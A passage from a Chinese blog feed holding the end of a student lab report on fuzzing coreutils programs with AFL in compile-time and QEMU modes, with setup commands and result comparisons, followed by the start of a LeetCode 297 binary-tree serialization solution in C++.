srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653806745632"></p><p>id\:000003\,src\:000000\,op\:havoc\,rep\:2\,+cov</p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653806792956-165641194439224.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653806792956-165641194439224.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653806792956"></p><p>id\:000004\,src\:000000\,op\:havoc\,rep\:64\,+cov</p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653806829918-165641194439225.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653806829918-165641194439225.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653806829918"></p><p>等等。。</p><p>可以看到 American Fuzzler Lop 工具对输入的seed进行了bit flip,byte flip,havoc等各种操作后生成的发现了新路径的测试文件,这些文件被加入到了queue中。</p><p>在output/base32/fuzzer_stats的目录中可以看到如下内容,它包含了:</p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653829885716-165641194439226.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653829885716-165641194439226.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653829885716"></p><p>在 plot_data 中的内容如下:</p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653833994905-165641194439228.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653833994905-165641194439228.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653833994905"></p><p>它包含了afl-plot生成plot需要的统计信息。</p><h3 id="测试过程问题"><a href="#测试过程问题" class="headerlink" title="测试过程问题"></a>测试过程问题</h3><p>开始使用命令进行模糊测试时,发现报错:</p><p>出现问题??这是怎么回事?</p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1652800974168-165641194439227.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1652800974168-165641194439227.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1652800974168"></p><p>查阅资料的解决方案:使用下述指令将core写入系统kernel的core_pattern文件夹中。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> core | sudo tee /proc/sys/kernel/core_pattern</span><br></pre></td></tr></table></figure><p>使用qemu模式时出现问题</p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653815901791-165641194439229.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653815901791-165641194439229.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653815901791"></p><p>需要正确安装并将AFL_PATH加入路径中</p><h2 id="基于-AFL-Qemu-的目标程序动态插桩"><a href="#基于-AFL-Qemu-的目标程序动态插桩" class="headerlink" title="基于 AFL-Qemu 的目标程序动态插桩"></a>基于 AFL-Qemu 的目标程序动态插桩</h2><p>使用默认的gcc编译器进行编译</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">./configure CC=<span class="string">"gcc"</span></span><br><span class="line">make</span><br></pre></td></tr></table></figure><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653811567125-165641194439230.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653811567125-165641194439230.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653811567125"></p><p>此时的可执行文件未经过插桩操作。</p><h3 id="qemu安装"><a href="#qemu安装" class="headerlink" title="qemu安装"></a>qemu安装</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cd qemu_mode</span><br><span class="line">./build_qemu_support.sh </span><br></pre></td></tr></table></figure><p>注意这里要用python2的环境,自己下载并编译python2,之后在 build_qemu_support.sh 文件中找到对应 ./configure 位置,并将其换成如下内容:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./configure --python=/home/lyq/Downloads/Python-2.7.10/(即:/path/to/python2)</span><br></pre></td></tr></table></figure><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653820956541-165641194439231.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653820956541-165641194439231.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653820956541"></p><p>设置正确的AFL路径</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">export AFL_PATH=/home/lyq/AFL-master/ (/PATH/TO/AFL_PROGRAM)</span><br></pre></td></tr></table></figure><h3 id="使用-afl-fuzz-的-Q-选项,对-3-个-coreutils-程序进行-fuzzing"><a href="#使用-afl-fuzz-的-Q-选项,对-3-个-coreutils-程序进行-fuzzing" class="headerlink" title="使用 afl-fuzz 的-Q 选项,对 3 个 coreutils 程序进行 fuzzing"></a>使用 afl-fuzz 的-Q 选项,对 3 个 coreutils 程序进行 fuzzing</h3><h4 id="自定义seed"><a href="#自定义seed" class="headerlink" title="自定义seed"></a>自定义seed</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">afl-fuzz -Q -i input/md5sum -o output/md5sum ./md5sum @@</span><br><span class="line"></span><br><span class="line">afl-fuzz -Q -i input/base32 -o output/base32 ./base32 @@</span><br><span class="line"></span><br><span class="line">afl-fuzz -Q -i input/cat -o output/cat ./cat @@</span><br></pre></td></tr></table></figure><p>得到结果如下:</p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653828911896-165641194439232.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653828911896-165641194439232.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653828911896"></p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653828971495-165641194439233.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653828971495-165641194439233.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653828971495"></p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653829555332-165641194439234.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653829555332-165641194439234.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653829555332"></p><h4 id="随机生成seed"><a href="#随机生成seed" class="headerlink" title="随机生成seed"></a>随机生成seed</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">afl-fuzz -Q -i input/random -o output/md5sum ./md5sum @@</span><br><span class="line"></span><br><span class="line">afl-fuzz -Q -i input/random -o output/base32 ./base32 @@</span><br><span class="line"></span><br><span class="line">afl-fuzz -Q -i input/random -o output/cat ./cat @@</span><br></pre></td></tr></table></figure><p>结果如下:</p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653837169739-165641194439235.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653837169739-165641194439235.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653837169739"></p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653837273860-165641194439236.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653837273860-165641194439236.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653837273860"></p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653837427613-165641194439237.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/uTools_1653837427613-165641194439237.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="uTools_1653837427613"></p><h3 id="问题解答1"><a href="#问题解答1" class="headerlink" title="问题解答1"></a>问题解答1</h3><p><strong>两种输入种子构造方法,对于 fuzzing 结果的影响</strong></p><p>从结果上来看,自定义的seed文件的已发现路径的增长速度确实应该比随机seed快一点,在执行到40秒之后,二者基本上都已达到并稳定在15条路径数左右,这可能会说明自定义的seed文件相对效率更高一点。然而这种现象也可能是由于我们的随机testcase的内容相比自定义文件的内容显著增加了很多,这一原因造成的。针对我选取的这三条指令,我认为input中的testcase文件是否随机选取对fuzz程序的运行效率没有很大影响。</p><p><strong><em>使用 afl-plot 生成 md5sum 命令分别在自定义seed和随机seed下的模糊测试统计图:</em></strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">afl-plot output/md5sum ./graph</span><br></pre></td></tr></table></figure><ul><li>自定义seed:</li></ul><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/exec_speed-16538358345035-165641194439238.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/exec_speed-16538358345035-165641194439238.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="exec_speed"></p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/high_freq-16538358345047-165641194439239.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/high_freq-16538358345047-165641194439239.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="high_freq"></p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/low_freq-16538358345046-165641194439240.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/low_freq-16538358345046-165641194439240.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="low_freq"></p><ul><li>随机seed:</li></ul><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/exec_speed-16538362602228-165641194439241.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/exec_speed-16538362602228-165641194439241.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="exec_speed"></p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/high_freq-165383626022210-165641194439342.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/high_freq-165383626022210-165641194439342.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="high_freq"></p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/low_freq-16538362602229-165641194439343.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/low_freq-16538362602229-165641194439343.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="low_freq"></p><h3 id="问题解答2"><a href="#问题解答2" class="headerlink" title="问题解答2"></a>问题解答2</h3><p><strong>基于编译插桩的 fuzzing 与基于 Qemu 动态插桩的 fuzzing,从基本原理和实验效果两方面的差异</strong></p><p>AFL同时支持的两种Fuzz模式如下:</p><ol><li>有源码模式</li><li>无源码模式(afl-qemu)</li></ol><p>有源码模式依赖于对源码的重新编译,从而进行插桩。</p><p>无源码模式的fuzz依赖于qemu虚拟化。在Fuzzing的对象是无源码的二进制程序时,我们无法通过编译时插桩来插入forkserver以及用于收集代码信息的插桩信息,使用QEMU模式可以实现二进制程序的动态插桩,收集代码覆盖率。</p><p>qemu 在执行一个程序时,从被执行程序的入口点开始对基本块翻译并执行,为了提升效率,qemu会把翻译出来的基本块存放到 cache 中,当 qemu 要执行一个基本块时首先判断基本块是否在 cache 中,如果在 cache 中则直接执行基本块,否则会翻译基本块并执行。</p><p>AFL 的 qemu 模式会在准备执行基本块的和准备翻译基本块的前面增加一些代码,在每次执行一个基本块前调用 AFL_QEMU_CPU_SNIPPET2 来和 afl 通信。如果当前执行的基本块是 afl_entry_point (即目标程序的入口点),就设置好与 afl 通信的命名管道和共享内存并初始化 fork server ,然后通过 afl_maybe_log 往共享内存中设置覆盖率信息。统计覆盖率的方式和 afl 的方式一样。</p><p>简单来说,AFL的Qemu模式就是过程中插桩,每次翻译基本块前调用 <code>afl_maybe_log</code> 往 <code>afl-fuzz</code> 同步覆盖率信息,这种做法会造成程序执行中很大的额外开销,执行速度会明显减慢。同时依赖于Qemu的路径覆盖率相比从源码编译过程中直接进行提前进行插桩的方式来讲路径覆盖程度也会更低。</p><p><strong><em>使用 afl-plot 生成 md5sum 命令分别在插桩模式和qemu模式下的模糊测试统计图:</em></strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">afl-plot output/md5sum ./graph</span><br></pre></td></tr></table></figure><ul><li>插桩模式下结果如下:</li></ul><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/exec_speed-16538355782682-165641194439344.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/exec_speed-16538355782682-165641194439344.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="exec_speed"></p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/low_freq-16538357621544-165641194439345.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/low_freq-16538357621544-165641194439345.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="low_freq"></p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/high_freq-16538355821203-165641194439346.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/high_freq-16538355821203-165641194439346.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="high_freq"></p><ul><li>Qemu模式下结果如下:</li></ul><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/low_freq-165641194439347.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/low_freq-165641194439347.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="low_freq"></p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/high_freq-165641194439348.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/high_freq-165641194439348.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="high_freq"></p><p>执行速度:</p><p><img src="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/exec_speed-165641194439349.png" class="lazyload placeholder" data-srcset="/2022/06/28/AFL-%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E5%AE%9E%E9%AA%8C/exec_speed-165641194439349.png" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="exec_speed"></p><p>从图中可以看到插桩模式下的path发现速度,队列循环的执行速度都远大于qemu模式,可见Qemu模式相对于直接在编译时插桩的模糊测试计算成本是相对大了很多的,这与我们的推测是相同的。</p>]]></content>
<summary type="html"><h1 id="AFL-模糊测试实验"><a href="#AFL-模糊测试实验" class="headerlink" title="AFL 模糊测试实验"></a>AFL 模糊测试实验</h1><p>本次实验目标是对 Coreutils 软件集合使用 AFL 进行模糊测试。<</summary>
<category term="AFL" scheme="http://example.com/tags/AFL/"/>
<category term="Fuzz" scheme="http://example.com/tags/Fuzz/"/>
</entry>
<entry>
<title>二叉树的序列化与反序列化</title>
<link href="http://example.com/2022/05/12/%E4%BA%8C%E5%8F%89%E6%A0%91%E7%9A%84%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8E%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
<id>http://example.com/2022/05/12/%E4%BA%8C%E5%8F%89%E6%A0%91%E7%9A%84%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8E%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</id>
<published>2022-05-12T01:02:34.000Z</published>
<updated>2022-05-12T01:03:07.938Z</updated>
<content type="html"><![CDATA[<h2 id="二叉树的序列化与反序列化"><a href="#二叉树的序列化与反序列化" class="headerlink" title="二叉树的序列化与反序列化"></a>二叉树的序列化与反序列化</h2><span id="more"></span><h3 id="leetcode-297-二叉树的序列化与反序列化"><a href="#leetcode-297-二叉树的序列化与反序列化" class="headerlink" title="leetcode 297 二叉树的序列化与反序列化"></a>leetcode 297 二叉树的序列化与反序列化</h3><h4 id="297-二叉树的序列化与反序列化"><a href="#297-二叉树的序列化与反序列化" class="headerlink" title="297. 二叉树的序列化与反序列化"></a><a href="https://leetcode.cn/problems/serialize-and-deserialize-binary-tree/">297. 二叉树的序列化与反序列化</a></h4><p>序列化是将一个数据结构或者对象转换为连续的比特位的操作,进而可以将转换后的数据存储在一个文件或者内存中,同时也可以通过网络传输到另一个计算机环境,采取相反方式重构得到原数据。</p><p>请设计一个算法来实现二叉树的序列化与反序列化。这里不限定你的序列 / 反序列化算法执行逻辑,你只需要保证一个二叉树可以被序列化为一个字符串并且将这个字符串反序列化为原始的树结构。</p><p><strong>提示:</strong> 输入输出格式与 LeetCode 目前使用的方式一致,详情请参阅 <a href="https://leetcode.cn/faq/#binary-tree">LeetCode 序列化二叉树的格式</a>。你并非必须采取这种方式,你也可以采用其他的方法解决这个问题。</p><p><strong>示例 1:</strong></p><p><img src="/2022/05/12/%E4%BA%8C%E5%8F%89%E6%A0%91%E7%9A%84%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8E%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/serdeser.jpg" alt="img"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">输入:root = [1,2,3,null,null,4,5]</span><br><span class="line">输出:[1,2,3,null,null,4,5]</span><br></pre></td></tr></table></figure><p><strong>示例 2:</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">输入:root = []</span><br><span class="line">输出:[]</span><br></pre></td></tr></table></figure><p><strong>示例 3:</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">输入:root = [1]</span><br><span class="line">输出:[1]</span><br></pre></td></tr></table></figure><p><strong>示例 4:</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">输入:root = [1,2]</span><br><span class="line">输出:[1,2]</span><br></pre></td></tr></table></figure><p><strong>提示:</strong></p><ul><li>树中结点数在范围 <code>[0, 104]</code> 内</li><li><code>-1000 <= Node.val <= 1000</code></li></ul><h4 id="题解"><a href="#题解" class="headerlink" title="题解"></a>题解</h4><p>二叉树的序列化:</p><p>使用深度优先遍历:例如使用先序遍历,用”-999”填充任何应该为NULL的位置。</p><p>反序列化:</p><p>其实就是采用和序列化一样的深度优先遍历模式,如这里对应的还是先序遍历,只是这次遍历时是构造了节点。</p><p>如果节点遇到NULL位置,就说明这个方向的遍历探索“到头了”,执行递归的</p><p>自己写的解如下:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Definition for a binary tree node.</span></span><br><span class="line"><span class="comment"> * struct TreeNode {</span></span><br><span class="line"><span class="comment"> * int val;</span></span><br><span class="line"><span class="comment"> * TreeNode *left;</span></span><br><span class="line"><span class="comment"> * TreeNode *right;</span></span><br><span class="line"><span class="comment"> * TreeNode(int x) : val(x), left(NULL), right(NULL) {}</span></span><br><span class="line"><span class="comment"> * };</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Codec</span> {</span></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Encodes a tree to a single string.</span></span><br><span class="line"> <span class="function">string <span class="title">serialize</span><span class="params">(TreeNode* root)</span> </span>{</span><br><span class="line"> stack<TreeNode*> q {};</span><br><span class="line"> string res = <span class="string">""</span>;</span><br><span class="line"> q.<span class="built_in">push</span>(root);</span><br><span class="line"> <span class="keyword">while</span>(q.<span class="built_in">size</span>()!=<span class="number">0</span>){</span><br><span class="line"> TreeNode* node = q.<span class="built_in">top</span>();</span><br><span class="line"> q.<span class="built_in">pop</span>();</span><br><span class="line"> <span class="keyword">if</span> (node==<span class="literal">NULL</span>){</span><br><span class="line"> res += <span class="string">"-999 "</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span>{</span><br><span class="line"> res += <span class="built_in">to_string</span>(node->val)+<span class="string">" "</span>;</span><br><span class="line"> q.<span class="built_in">push</span>(node->right);</span><br><span class="line"> q.<span class="built_in">push</span>(node->left);</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> }</span><br><span class="line"> cout<<res<<endl;</span><br><span class="line"> <span class="keyword">return</span> res;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Decodes your encoded data to tree.</span></span><br><span class="line"> <span class="function">TreeNode* <span class="title">deserialize</span><span class="params">(string data)</span> </span>{</span><br><span class="line"> vector<<span class="keyword">int</span>> list = <span class="built_in">convert</span>(<span class="built_in">split</span>(data));</span><br><span class="line"> <span class="keyword">int</span> pos = <span class="number">0</span>;</span><br><span class="line"> TreeNode* root = <span class="built_in">getTree</span>(&pos,&list);</span><br><span class="line"> <span class="keyword">return</span> root;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//递归构建</span></span><br><span class="line"> <span class="function">TreeNode* <span class="title">getTree</span><span class="params">(<span class="keyword">int</span> *pos,vector<<span class="keyword">int</span>>* list)</span></span>{</span><br><span class="line"> cout<<*pos<<endl;</span><br><span class="line"> <span class="comment">//若在此位置上为空</span></span><br><span class="line"> <span class="keyword">if</span>((*list)[*pos]==<span class="number">-999</span>){</span><br><span class="line"> (*pos)++;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//若不为空,其创建为根节点</span></span><br><span class="line"> TreeNode* root = <span class="keyword">new</span> <span 